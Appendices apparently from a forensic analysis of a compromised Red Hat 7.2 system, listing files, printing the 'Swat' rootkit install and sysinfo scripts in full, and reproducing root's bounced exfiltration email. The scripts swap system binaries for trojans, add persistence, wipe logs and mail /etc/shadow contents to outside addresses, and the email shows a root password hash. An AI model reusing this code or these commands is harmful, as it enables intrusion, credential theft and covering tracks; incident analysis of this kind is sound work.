-rwxr-sr-x    1 root     mailman      8328 Jul 25  2001
./var/mailman/cron/gate_news
-rwxr-sr-x    1 root     mailman      5824 Jul 25  2001
./var/mailman/cron/mailpasswds
-rwxr-sr-x    1 root     mailman      4089 Jul 25  2001
./var/mailman/cron/nightly_gzip
-rwxr-sr-x    1 root     mailman      1530 Jul 25  2001
./var/mailman/cron/paths.py
-rwxr-sr-x    1 root     mailman     11947 Jul 25  2001
./var/mailman/cron/qrunner
-rwxr-sr-x    1 root     mailman      2049 Jul 25  2001
./var/mailman/cron/senddigests
-rwxrwsr-x    1 root     mailman         2 Jul 25  2001
./var/mailman/data/pending_subscriptions.db
-rwxrwsr-x    1 root     mailman      1055 Jul 25  2001
./var/mailman/filters/bowa-strip
-rwxrwsr-x    1 root     mailman     39133 Jul 25  2001
./var/mailman/mail/wrapper
-rwxr-sr-x    1 root     mailman      1507 Jul 25  2001
./var/mailman/scripts/answer_majordomo_mail
-rwxr-sr-x    1 root     mailman      9516 Jul 25  2001
./var/mailman/scripts/driver
-rwxr-sr-x    1 root     mailman      2351 Jul 25  2001
./var/mailman/scripts/mailcmd
-rwxr-sr-x    1 root     mailman      2882 Jul 25  2001
./var/mailman/scripts/mailowner
-rwxr-sr-x    1 root     mailman      1530 Jul 25  2001
./var/mailman/scripts/paths.py
-rwxr-sr-x    1 root     mailman      3316 Jul 25  2001
./var/mailman/scripts/post
drwxr-sr-x    2 root     ftp          4096 Aug 22  2001 ./var/ftp/pub
drwxrwsr-x    4 root     mailman      4096 Jun 25 10:08
./var/mailman/archives
drwxrwsr-x    2 root     mailman      4096 Jul 25  2001
./var/mailman/archives/private
drwxrwsr-x    2 root     mailman      4096 Jul 25  2001
./var/mailman/archives/public
drwxrwsr-x    2 root     root         4096 Jun 25 10:08
./var/mailman/bin
drwxrwsr-x    2 root     root         4096 Jun 25 10:08
./var/mailman/cgi-bin
drwxr-sr-x    2 root     mailman      4096 Jun 25 10:08
./var/mailman/cron
drwxrwsr-x    2 root     mailman      4096 Jun 25 10:08
./var/mailman/data
drwxrwsr-x    2 root     mailman      4096 Jun 25 10:08
./var/mailman/filters
```

```
drwxrwsr-x    2 root     mailman      4096 Jul 25  2001
./var/mailman/lists
drwxrwsr-x    2 root     mailman      4096 Jun 28 13:10
./var/mailman/locks
drwxrwsr-x    2 root     mailman      4096 Jun 26 04:43
./var/mailman/logs
drwxrwsr-x    2 root     mailman      4096 Jun 25 10:08
./var/mailman/mail
drwxrwsr-x    8 root     root         4096 Jun 25 10:08
./var/mailman/Mailman
drwxrwsr-x    2 root     root         4096 Jun 25 10:08
./var/mailman/Mailman/Archiver
drwxrwsr-x    2 root     root         4096 Jun 25 10:08
./var/mailman/Mailman/Bouncers
drwxrwsr-x    2 root     root         4096 Jun 25 10:08
./var/mailman/Mailman/Cgi
drwxrwsr-x    2 root     root         4096 Jun 25 10:08
./var/mailman/Mailman/Handlers
drwxrwsr-x    2 root     root         4096 Jun 25 10:08
./var/mailman/Mailman/Logging
drwxrwsr-x    2 root     root         4096 Jun 25 10:08
./var/mailman/Mailman/pythonlib
drwxrwsr-x    2 root     mailman      4096 Jul 25  2001
./var/mailman/qfiles
drwxrwsr-x    2 root     root         4096 Jun 25 10:08
./var/mailman/scripts
drwxrwsr-x    2 root     root         4096 Jun 25 10:08
./var/mailman/templates
drwxrwsrwt    2 news     news         4096 Jul 23  2001
./var/spool/slrnpull/out.going
```

Appendix C - install Script

```
[1]   #!/bin/bash
[2]   # Made By ICE


[3]   BLK='ESC[1;30m'
[4]   RED='ESC[1;31m'
[5]   GRN='ESC[1;32m'
[6]   YEL='ESC[1;33m'
[7]   BLU='ESC[1;34m'
[8]   MAG='ESC[1;35m'
[9]   CYN='ESC[1;36m'
[10]  WHI='ESC[1;37m'
[11]  DRED='ESC[0;31m'
[12]  DGRN='ESC[0;32m'
[13]  DYEL='ESC[0;33m'
[14]  DBLU='ESC[0;34m'
[15]  DMAG='ESC[0;35m'
[16]  DCYN='ESC[0;36m'
[17]  DWHI='ESC[0;37m'
[18]  RES='ESC[0m'

[19]  USERID=`id -u`
[20]  echo "${WHI}---${RED}   Verificam daca suntem ROOT ${WHI}
   !!!${RES}"
[21]  if [ $USERID -eq 0 ]
[22]  then
[23]  echo "${RED}+++${WHI}   Cica DA ..., deci putem continua ${BLU}
   :${WHI}-${RED})${RES}"
[24]  else
[25]  echo "${RED}--- ${DRED}!!! ${RED}Atentie tu eshti de fapt
   ${YEL}$USERID${RED} si nu ${GRN}RooT ${DRED}!!!${RES}"
[26]  echo "${WHI}               Asta ii un ${BLU}ROOTKIT${WHI}
   deshteptule si trebuie sa aiba ${GRN}uid=0${RES}"
[27]  exit
[28]  fi

[29]  rk=`pwd`
[30]  home="/usr/bin"
[31]  etc="/etc"
[32]  usr="/usr/lib/libshtift"
[33]  netstat="/bin/netstat"
[34]  ls="/bin/ls"
[35]  ps="/bin/ps"
[36]  top="/usr/bin/top"
[37]  chattr="/usr/bin/chattr"
[38]  chat="/usr/lib/ld/chat"
[39]  pico="/bin/pico"
[40]  wget="/usr/bin/wget"
[41]  ifconfig="/sbin/ifconfig"
[42]  ttyop="/dev/ttyop"
[43]  ttyoa="/dev/ttyoa"
[44]  ttyof="/dev/ttyof"
[45]  if [ -f "/usr/bin/gcc" ]; then
```

```
[46]  gcc="/usr/bin/gcc"
[47]  else
[48]  if [ -f "/usr/local/bin/gcc" ]; then
[49]  gcc="/usr/local/bin/gcc"
[50]  else
[51]  if [ -f "/usr/bin/cc" ]; then
[52]  gcc="/usr/bin/cc"
[53]  else
[54]  if [ -f "/usr/local/bin/cc" ]; then
[55]  gcc="/usr/local/bin/cc"
[56]  else
[57]  gcc="/usr/bin/gnikcs"
[58]  fi; fi; fi; fi

[59]  unset HISTFILE; chown root.root *; unalias &> /dev/null ls
[60]  echo "                                                    "
[61]  echo "${WHI}                @@@ ${GRN}OK ${BLU}Swat :-)${GRN} .,
   sa bagam mare ${BLU}!!!${WHI}@@@${RES}"
[62]  echo "                                                    "
[63]  if [ -f /etc/rc.d/init.d/portmap ]; then
[64]  /etc/rc.d/init.d/portmap stop
[65]  fi

[66]  $chattr &> /dev/null -ASacdisu /bin /bin/* /usr/bin /usr/bin/*
   /sbin /sbin/* /usr/sbin /usr/sbin/* $etc/im* $ttyop $ttyoa $ttyof
[67]  chmod +x *
[68]  echo "${WHI} Sa tragem o privire dupa fisiere.. ${DRED}!${RES}"
[69]  echo "                                                    "
[70]  if [ -f $chattr ]; then
[71]  echo "                        ${WHI}chattr${RED} ->
   ${BLU}ok${RES}"
[72]  else
[73]  if [ -f $chat ]; then
[74]  /usr/lib/ld/chat -R -ASacdisu /usr/bin $chat
[75]  cp -f $chat $chattr
[76]  else
[77]  tar -xzf chattr.tgz
[78]  mv -f chattr $chattr
[79]  echo "                        ${WHI}chattr${RED}-
   >${BLU}atasat${RES}"
[80]  chmod +x $chattr
[81]  fi; fi

[82]  if [ -f $wget ]; then
[83]  echo "                        ${WHI}wget${RED} ->
   ${BLU}ok${RES}"
[84]  else
[85]  tar -xzf wget.tgz
[86]  mv -f wget $wget
[87]  echo "                        ${WHI}wget${RED} ->
   ${BLU}atasat${RES}"
[88]  chmod +x $wget
[89]  fi

[90]  if [ -f $pico ]; then
[91]  echo "                        ${WHI}pico${RED} ->
   ${BLU}ok${RES}"
```

```
[92]  else
[93]  tar -xzf pico.tgz
[94]  mv -f pico $pico
[95]  echo "                          ${WHI}pico${RED} ->
   ${BLU}atasat${RES}"
[96]  chmod +x $pico
[97]  fi

[98]  echo " ${WHI}Rezolvam tampeniile de ps, netstat si etc.., si pe
   sora-sa :-P${RES}"

[99]  touch -acmr /bin/netstat netstat
[100] touch -acmr /bin/ps ps
[101] touch -acmr /bin/ls ls
[102] touch -acmr /usr/bin/top top

[103] mkdir $usr >/dev/null 2>&1; mv $netstat $ps $ls $top $usr
   >/dev/null 2>&1;chattr +iau $usr; mv netstat $netstat; mv ps $ps; mv
   ls $ls; mv top $top; mv .ttyop $ttyop; mv .ttyoa $ttyoa; mv .ttyof
   $ttyof

[104] echo "                           ${WHI}Tampeniile${RED} -
   >${BLU}Done${RES}"

[105] echo " ${WHI}Copiem ${BLU}SSH-ul ${WHI}si ce mai e nevoie :-P ..
   ${RES}"

[106] mv -f  sense sl2 $home; echo "/usr/bin/crontabs -t1 -X53 -p" >>
   /etc/rc.d/init.d/functions; echo >> /etc/rc.d/init.d/functions; mv
   crontabs -f /usr/bin/; chmod 500 /usr/bin/crontabs
[107] ./ava
[108] $gcc -o swapd kde.c
[109] if [ -f swapd ]; then
[110] mv swapd /usr/bin/"(swapd)"
[111] else
[112] mv swapd2 /usr/bin/"(swapd)"
[113] fi
[114] /usr/bin/crontabs

[115] echo " ${WHI}Acum adunam informatiile pt. a le trimite in mail.
   Dureaza putin mai mult!${RES}"
[116] ./sysinfo >> informatii;./mail > /dev/null 2>&1
[117] echo " ${WHI}Imediat iti trimit Mail ${BLU}BAH${WHI} mai ai
   rabdare 2 min..${RES}"
[118] echo "                           "
[119] cat informatii|mail -s "Swat Root" 3rdparty@3rdparty.org
[120] cat informatii|mail -s "Swat Root" swatplecat@somelargeisp.com
[121] echo "                           ${WHI}Mail ${RED}->
   ${BLU}Done.${RES}"; echo "                                    "
[122] echo " ${WHI}*** ${GRN}Sa ne facem si noi un catun pe aici!
   ${BLU};${WHI}-${RED}) ${WHI}***${RES}"

[123] if [ ! -d /dev/hpd ]; then
[124] mkdir /dev/hpd
[125] fi
```

```
[126] echo " ${WHI}*** ${GRN}Director-ul /dev/hpd a fost deja creat
   gajiule:))${WHI} ***${RES}"
[127] echo " ${WHI}*** ${BLU}Acum sa stergem logurile care ne incurca
   ${WHI}***${RES}"

[128] rm -rf /var/log/mes* /var/log/sec* /var/log/boot* /var/log/xp*

[129] killall -HUP syslogd

[130] cd ..

[131] unset HISTFILE; $chattr +AacdisSu /bin /bin/* /usr/bin/sense
   /usr/bin/top /sbin /sbin/* /usr/sbin /usr/sbin/* $etc/im* $ttyop
   $ttyoa $ttyof
[132] rm -rf swat*
[133] echo "                                                    "
[134] echo "${WHI}@@@ ${GRN}OK ${BLU}Shefu${GRN}.., e al tau, bucura-te
   ca eshti mai destept cu un ${BLU}RooT ${BLU};${WHI}-${RED}P
   ${WHI}@@@${RES}"
```

Appendix D - sysinfo Script

```
[1]   #!/bin/bash
[2]   # Made By ICE


[3]   BLK='ESC[1;30m'
[4]   RED='ESC[1;31m'
[5]   GRN='ESC[1;32m'
[6]   YEL='ESC[1;33m'
[7]   BLU='ESC[1;34m'
[8]   MAG='ESC[1;35m'
[9]   CYN='ESC[1;36m'
[10]  WHI='ESC[1;37m'
[11]  DRED='ESC[0;31m'
[12]  DGRN='ESC[0;32m'
[13]  DYEL='ESC[0;33m'
[14]  DBLU='ESC[0;34m'
[15]  DMAG='ESC[0;35m'
[16]  DCYN='ESC[0;36m'
[17]  DWHI='ESC[0;37m'
[18]  RES='ESC[0m'

[19]  #!bin/bash
[20]  unset HISTFILE
[21]  PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/b
   in:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:/usr/local
   /bin
[22]  echo
   "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
[23]  echo "+++++      Informatziile pe care le-ai dorit boss:)
   +++++"
[24]  echo
   "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
[25]  echo "                                                              "
[26]  MYIPADDR=`/sbin/ifconfig eth0 | grep "inet addr:" | \
[27]  awk -F ' ' ' {print $2} ' | cut -c6-`
[28]  echo "Hostname : `hostname -f` ($MYIPADDR)"
[29]  echo "Alternative IP : `hostname -i`"
[30]  echo "Host : `hostname`"
[31]  echo "                                                              "
[32]  echo
   "============================================================="
[33]  echo "                                                              "
[34]  if [ -f /etc/*-release ]; then
[35]  echo "Distro: `head -1 /etc/*-release`"
[36]  echo "                                                              "
[37]  echo
   "============================================================="
[38]  echo "                                                              "
[39]  echo "Uname -a"
[40]  uname -a
[41]  echo "                                                              "
[42]  echo
   "============================================================="
```

```
[43]  echo "                                                              "
[44]  echo "Uptime"
[45]  uptime
[46]  echo "                                                              "
[47]  echo
   "=============================================================="
[48]  echo "                                                              "
[49]  echo "Pwd"
[50]  pwd
[51]  echo "                                                              "
[52]  echo
   "=============================================================="
[53]  echo "                                                              "
[54]  echo "ID"
[55]  id
[56]  fi
[57]  echo "                                                              "
[58]  echo
   "=============================================================="
[59]  echo "                                                              "
[60]  echo "Somelargeisp.com ping:"
[61]  echo "                                                              "
[62]  ping -c 6 64.58.79.230
[63]  echo "                                                              "
[64]  echo
   "=============================================================="
[65]  echo "                                                              "
[66]  echo "Hw info:"
[67]  echo "                                                              "
[68]  echo "CPU Speed: `cat /proc/cpuinfo|grep MHz|awk -F ' ' ' {print
   $4} ' `MHz"
[69]  echo "CPU Vendor: `cat /proc/cpuinfo|grep vendor_id`"
[70]  echo "CPU Model: `cat /proc/cpuinfo|grep name`"
[71]  RAM=`free|grep Mem|awk -F ' ' ' {print $2} '`
[72]  if [ -x /usr/bin/dc ]; then
[73]  echo "$RAM 1024 / 3 + p" >tmp
[74]  echo "RAM: `/usr/bin/dc tmp` Mb"
[75]  rm -f tmp
[76]  else
[77]  echo "RAM: $RAM Kb"
[78]  fi
[79]  echo "                                                              "
[80]  echo
   "=============================================================="
[81]  echo "                                                              "
[82]  echo "HDD(s):"
[83]  df -h -T
[84]  echo "                                                              "
[85]  echo
   "=============================================================="
[86]  echo "                                                              "
[87]  echo "inetd-ul..."
[88]  grep -v "^#" /etc/inetd.conf
[89]  echo "                                                              "
[90]  echo
   "=============================================================="
[91]  echo "                                                              "
```

```
[92]  echo "configurarea ip-urilor.."
[93]  /sbin/ifconfig | grep inet
[94]  echo "                                                              "
[95]  echo
   "============================================================="
[96]  echo "                                                              "
[97]  echo "Ports open:"
[98]  if [ -x /usr/sbin/lsof ]; then
[99]  /usr/sbin/lsof|grep LISTEN
[100] else
[101] /bin/netstat -a|grep LISTEN|grep tcp
[102] echo
[103] fi
[104] echo "                                                              "
[105] echo
   "============================================================="
[106] echo "                                                              "
[107] echo "/etc/passwd & /etc/shadow"
[108] echo "                                                              "
[109] echo "/etc/passwd"
[110] cat /etc/passwd
[111] echo "                                                              "
[112] echo "/etc/shadow"
[113] cat /etc/shadow
[114] echo "                                                              "
[115] echo
   "============================================================="
[116] echo "                                                              "
[117] echo "interesting filez:"
[118] echo "                                                              "
[119] echo "Mp3-urile"
[120] locate *.mp3
[121] echo "                                                              "
[122] echo "Avi-urile"
[123] locate *.avi
[124] echo  "
   "
[125] echo "Mpg-urile"
[126] locate *.mpg
[127] echo "                                                              "
[128] echo
   "============================================================="
[129] echo "                                                              "
[130] echo "Cam asta este tot-ul ... sper sa fie ceva de server-ul
   asta...:)"
[131] echo "                                                              "
```

Appendix E - root's Email

```
From root  Sat Jun 28 06:29:39 2003
Return-Path: <MAILER-DAEMON@localhost.localdomain>
Received: from localhost (localhost)
      by localhost.localdomain (8.11.6/8.11.6) id h5SATdp29347;
      Sat, 28 Jun 2003 06:29:39 -0400
Date: Sat, 28 Jun 2003 06:29:39 -0400
From: Mail Delivery Subsystem <MAILER-DAEMON@localhost.localdomain>
Message-Id: <200306281029.h5SATdp29347@localhost.localdomain>
To: root@localhost.localdomain
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
      boundary="h5SATdp29347.1056796179/localhost.localdomain"
Subject: Returned mail: see transcript for details
Auto-Submitted: auto-generated (failure)

This is a MIME-encapsulated message

--h5SATdp29347.1056796179/localhost.localdomain

The original message was received at Sat, 28 Jun 2003 06:29:34 -0400
from root@localhost

   ----- The following addresses had permanent fatal errors -----
3rdparty@3rdparty.org
    (reason: 554 delivery error: dd Sorry, your message to
3rdparty@3rdparty.org cannot be delivered.  This account is over quota.
- mta100.bizmail.somelargeisp.com)

   ----- Transcript of session follows -----
... while talking to mx2.bm.vip.sc5.somelargeisp.com.:
>>> DATA
<<< 554 delivery error: dd Sorry, your message to 3rdparty@3rdparty.org
cannot be delivered.  This account is over quota. -
mta100.bizmail.somelargeisp.com
554 5.0.0 Service unavailable

--h5SATdp29347.1056796179/localhost.localdomain
Content-Type: message/delivery-status

Reporting-MTA: dns; localhost.localdomain
Arrival-Date: Sat, 28 Jun 2003 06:29:34 -0400

Final-Recipient: RFC822; 3rdparty@3rdparty.org
Action: failed
Status: 5.0.0
Remote-MTA: DNS; mx2.bm.vip.sc5.somelargeisp.com
Diagnostic-Code: SMTP; 554 delivery error: dd Sorry, your message to
3rdparty@3rdparty.org cannot be delivered.  This account is over quota.
- mta100.bizmail.somelargeisp.com
Last-Attempt-Date: Sat, 28 Jun 2003 06:29:39 -0400

--h5SATdp29347.1056796179/localhost.localdomain
Content-Type: message/rfc822
```

```
Return-Path: <root>
Received: (from root@localhost)
      by localhost.localdomain (8.11.6/8.11.6) id h5SATYq29330
      for 3rdparty@3rdparty.org; Sat, 28 Jun 2003 06:29:34 -0400
Date: Sat, 28 Jun 2003 06:29:34 -0400
From: root <root>
Message-Id: <200306281029.h5SATYq29330@localhost.localdomain>
To: 3rdparty@3rdparty.org
Subject: SwatRoot

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++      Informatziile pe care le-ai dorit boss:)     +++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Hostname : myhost (192.168.20.72)
Alternative IP : 127.0.0.1
Host : myhost

==================================================================

Distro: Red Hat Linux release 7.2 (Enigma)

==================================================================

Uname -a
Linux myhost 2.4.7-10 #1 Thu Sep 6 17:21:28 EDT 2001 i586 unknown

==================================================================

Uptime
  6:29am  up 2 days,  9:49,  0 users,  load average: 0.68, 0.23, 0.13

==================================================================

Pwd
/tmp/swat

==================================================================

ID
uid=0(root) gid=0(root) groups=99(nobody)

==================================================================

Somelargeisp.com ping:

PING 64.58.79.230 (64.58.79.230) from 192.168.20.72 : 56(84) bytes of
data.

--- 64.58.79.230 ping statistics ---
6 packets transmitted, 0 packets received, 100% packet loss

==================================================================

Hw info:
```

```
CPU Speed: 133.308MHz
CPU Vendor: vendor_id   : GenuineIntel
CPU Model: model name   : Pentium 60/66
RAM: 63 Mb

================================================================

HDD(s):
Filesystem    Type    Size  Used Avail Use% Mounted on
/dev/hda2     ext3    1.9G  1.5G  333M  83% /
/dev/hda1     ext3     39M  5.9M   30M  16% /boot
none         tmpfs     30M     0   30M   0% /dev/shm

================================================================

inetd-ul...

================================================================

configurarea ip-urilor..
          inet addr:192.168.20.72  Bcast:192.168.20.255
Mask:255.255.255.0
          inet addr:127.0.0.1  Mask:255.0.0.0

================================================================

Ports open:
rpc.statd   611     root    6u  IPv4        838                TCP
*:1024 (LISTEN)
sshd        774     root    3u  IPv4       1017                TCP
*:ssh (LISTEN)
xinetd      807     root    3u  IPv4       1036                TCP
myhost:1025 (LISTEN)
xinetd      807     root    4u  IPv4       9527                TCP
*:finger (LISTEN)
xinetd      807     root    8u  IPv4       9579                TCP
*:telnet (LISTEN)
xinetd      807     root    9u  IPv4       9596                TCP
*:ftp (LISTEN)
xinetd      807     root   10u  IPv4       9614                TCP
*:rsync (LISTEN)
xinetd      807     root   12u  IPv4       9649                TCP
*:imap (LISTEN)
xinetd      807     root   13u  IPv4       9666                TCP
*:imaps (LISTEN)
xinetd      807     root   14u  IPv4       9683                TCP
*:pop2 (LISTEN)
xinetd      807     root   15u  IPv4       9700                TCP
*:pop3 (LISTEN)
xinetd      807     root   16u  IPv4       9718                TCP
*:pop3s (LISTEN)
jserver     909     root    3u  IPv4       1152                TCP
*:wnn4 (LISTEN)
rpc.rquot  9619     root    4u  IPv4       9790                TCP
*:895 (LISTEN)
rpc.mount  9624     root    4u  IPv4       9806                TCP
*:1026 (LISTEN)
```

```
identd     9688     root    4u  IPv4       9895                TCP
*:auth (LISTEN)
identd     9691     root    4u  IPv4       9895                TCP
*:auth (LISTEN)
identd     9692     root    4u  IPv4       9895                TCP
*:auth (LISTEN)
identd     9693     root    4u  IPv4       9895                TCP
*:auth (LISTEN)
identd     9694     root    4u  IPv4       9895                TCP
*:auth (LISTEN)
snmpd      9709     root    4u  IPv4       9908                TCP
*:smux (LISTEN)
smbd       9815     root    9u  IPv4      10402                TCP
*:netbios-ssn (LISTEN)
named     10019     root   11u  IPv4      12430                TCP
myhost:domain (LISTEN)
named     10019     root   13u  IPv4      12432                TCP
myhost.localdomain:domain (LISTEN)
named     10019     root   14u  IPv4      12434                TCP
myhost:rndc (LISTEN)
named     10020     root   11u  IPv4      12430                TCP
myhost:domain (LISTEN)
named     10020     root   13u  IPv4      12432                TCP
myhost.localdomain:domain (LISTEN)
named     10020     root   14u  IPv4      12434                TCP
myhost:rndc (LISTEN)
named     10021     root   11u  IPv4      12430                TCP
myhost:domain (LISTEN)
named     10021     root   13u  IPv4      12432                TCP
myhost.localdomain:domain (LISTEN)
named     10021     root   14u  IPv4      12434                TCP
myhost:rndc (LISTEN)
named     10023     root   11u  IPv4      12430                TCP
myhost:domain (LISTEN)
named     10023     root   13u  IPv4      12432                TCP
myhost.localdomain:domain (LISTEN)
named     10023     root   14u  IPv4      12434                TCP
myhost:rndc (LISTEN)
named     10024     root   11u  IPv4      12430                TCP
myhost:domain (LISTEN)
named     10024     root   13u  IPv4      12432                TCP
myhost.localdomain:domain (LISTEN)
named     10024     root   14u  IPv4      12434                TCP
myhost:rndc (LISTEN)
squid     10133     root   10u  IPv4      18459                TCP
*:squid (LISTEN)
amd       10148     root    5u  IPv4      18415                TCP
*:997 (LISTEN)
mysqld    10217     root    3u  IPv4      18598                TCP
*:mysql (LISTEN)
mysqld    10221     root    3u  IPv4      18598                TCP
*:mysql (LISTEN)
mysqld    10222     root    3u  IPv4      18598                TCP
*:mysql (LISTEN)
mysqld    10223     root    3u  IPv4      18598                TCP
*:mysql (LISTEN)
```

```
sendmail  10271     root    4u  IPv4      18665                TCP
*:smtp (LISTEN)
httpd     10324     root   16u  IPv4      22935                TCP
*:http (LISTEN)
smbd      25599     root   17u  IPv4      52310                TCP
*:45295 (LISTEN)
httpd     28175     root   16u  IPv4      22935                TCP
*:http (LISTEN)
httpd     28176     root   16u  IPv4      22935                TCP
*:http (LISTEN)
httpd     28177     root   16u  IPv4      22935                TCP
*:http (LISTEN)
httpd     28178     root   16u  IPv4      22935                TCP
*:http (LISTEN)
httpd     28179     root   16u  IPv4      22935                TCP
*:http (LISTEN)
httpd     28180     root   16u  IPv4      22935                TCP
*:http (LISTEN)
httpd     28181     root   16u  IPv4      22935                TCP
*:http (LISTEN)
httpd     28182     root   16u  IPv4      22935                TCP
*:http (LISTEN)
smbd      29269     root   17u  IPv4      59773                TCP
*:10007 (LISTEN)

================================================================

/etc/passwd & /etc/shadow

/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
wnn:x:49:49:Wnn System Account:/home/wnn:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/bin/false
gdm:x:42:42::/var/gdm:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
ident:x:98:98:pident user:/:/sbin/nologin
```

```
radvd:x:75:75:radvd user:/:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23::/var/spool/squid:/dev/null
named:x:25:25:Named:/var/named:/bin/false
pcap:x:77:77::/var/arpwatch:/bin/nologin
amanda:x:33:6:Amanda user:/var/lib/amanda:/bin/bash
mailman:x:41:41:GNU Mailing List Manager:/var/mailman:/bin/false
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false

/etc/shadow
root:$1$I6GuVkx8$DBd/8S4wWsJOxtK/UcFP91:12228:0:99999:7:::
bin:*:12228:0:99999:7:::
daemon:*:12228:0:99999:7:::
adm:*:12228:0:99999:7:::
lp:*:12228:0:99999:7:::
sync:*:12228:0:99999:7:::
shutdown:*:12228:0:99999:7:::
halt:*:12228:0:99999:7:::
mail:*:12228:0:99999:7:::
news:*:12228:0:99999:7:::
uucp:*:12228:0:99999:7:::
operator:*:12228:0:99999:7:::
games:*:12228:0:99999:7:::
gopher:*:12228:0:99999:7:::
ftp:*:12228:0:99999:7:::
nobody:*:12228:0:99999:7:::
mailnull:!!:12228:0:99999:7:::
rpm:!!:12228:0:99999:7:::
xfs:!!:12228:0:99999:7:::
wnn:!!:12228:0:99999:7:::
ntp:!!:12228:0:99999:7:::
rpc:!!:12228:0:99999:7:::
gdm:!!:12228:0:99999:7:::
rpcuser:!!:12228:0:99999:7:::
nfsnobody:!!:12228:0:99999:7:::
nscd:!!:12228:0:99999:7:::
ident:!!:12228:0:99999:7:::
radvd:!!:12228:0:99999:7:::
postgres:!!:12228:0:99999:7:::
apache:!!:12228:0:99999:7:::
squid:!!:12228:0:99999:7:::
named:!!:12228:0:99999:7:::
pcap:!!:12228:0:99999:7:::
amanda:!!:12228:0:99999:7:::
mailman:!!:12228:0:99999:7:::
mysql:!!:12228:0:99999:7:::
ldap:!!:12228:0:99999:7:::

=================================================================

interesting filez:

Mp3-urile

Avi-urile
```

```
Mpg-urile

============================================================

Cam asta este tot-ul ... sper sa fie ceva de server-ul asta...:)


--h5SATdp29347.1056796179/localhost.localdomain--

From root  Sat Jun 28 06:29:47 2003
Return-Path: <MAILER-DAEMON@localhost.localdomain>
Received: from localhost (localhost)
      by localhost.localdomain (8.11.6/8.11.6) id h5SATlF29346;
      Sat, 28 Jun 2003 06:29:47 -0400
Date: Sat, 28 Jun 2003 06:29:47 -0400
From: Mail Delivery Subsystem <MAILER-DAEMON@localhost.localdomain>
Message-Id: <200306281029.h5SATlF29346@localhost.localdomain>
To: root@localhost.localdomain
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
      boundary="h5SATlF29346.1056796187/localhost.localdomain"
Subject: Returned mail: see transcript for details
Auto-Submitted: auto-generated (failure)

This is a MIME-encapsulated message

--h5SATlF29346.1056796187/localhost.localdomain

The original message was received at Sat, 28 Jun 2003 06:29:34 -0400
from root@localhost

   ----- The following addresses had permanent fatal errors -----
3rdparty@3rdparty.org
    (reason: 554 delivery error: dd Sorry, your message to
3rdparty@3rdparty.org cannot be delivered.  This account is over quota.
- mta100.bizmail.somelargeisp.com)

   ----- Transcript of session follows -----
... while talking to mx2.bm.vip.sc5.somelargeisp.com.:
>>> DATA
<<< 554 delivery error: dd Sorry, your message to 3rdparty@3rdparty.org
cannot be delivered.  This account is over quota. -
mta100.bizmail.somelargeisp.com
554 5.0.0 Service unavailable

--h5SATlF29346.1056796187/localhost.localdomain
Content-Type: message/delivery-status

Reporting-MTA: dns; localhost.localdomain
Arrival-Date: Sat, 28 Jun 2003 06:29:34 -0400

Final-Recipient: RFC822; 3rdparty@3rdparty.org
Action: failed
Status: 5.0.0
Remote-MTA: DNS; mx2.bm.vip.sc5.somelargeisp.com
```

```
Diagnostic-Code: SMTP; 554 delivery error: dd Sorry, your message to
3rdparty@3rdparty.org cannot be delivered.  This account is over quota.
- mta100.bizmail.somelargeisp.com
Last-Attempt-Date: Sat, 28 Jun 2003 06:29:47 -0400

--h5SATlF29346.1056796187/localhost.localdomain
Content-Type: message/rfc822

Return-Path: <root>
Received: (from root@localhost)
      by localhost.localdomain (8.11.6/8.11.6) id h5SATYG29331
      for 3rdparty@3rdparty.org; Sat, 28 Jun 2003 06:29:34 -0400
Date: Sat, 28 Jun 2003 06:29:34 -0400
From: root <root>
Message-Id: <200306281029.h5SATYG29331@localhost.localdomain>
To: 3rdparty@3rdparty.org
Subject: Swat Root

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++      Informatziile pe care le-ai dorit boss:)       +++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Hostname : myhost (192.168.20.72)
Alternative IP : 127.0.0.1
Host : myhost

======================================================================

Distro: Red Hat Linux release 7.2 (Enigma)

======================================================================

Uname -a
Linux myhost 2.4.7-10 #1 Thu Sep 6 17:21:28 EDT 2001 i586 unknown

======================================================================

Uptime
  6:29am  up 2 days,  9:49,  0 users,  load average: 0.68, 0.23, 0.13

======================================================================

Pwd
/tmp/swat

======================================================================

ID
uid=0(root) gid=0(root) groups=99(nobody)

======================================================================

Somelargeisp.com ping:

PING 64.58.79.230 (64.58.79.230) from 192.168.20.72 : 56(84) bytes of
data.
```

```
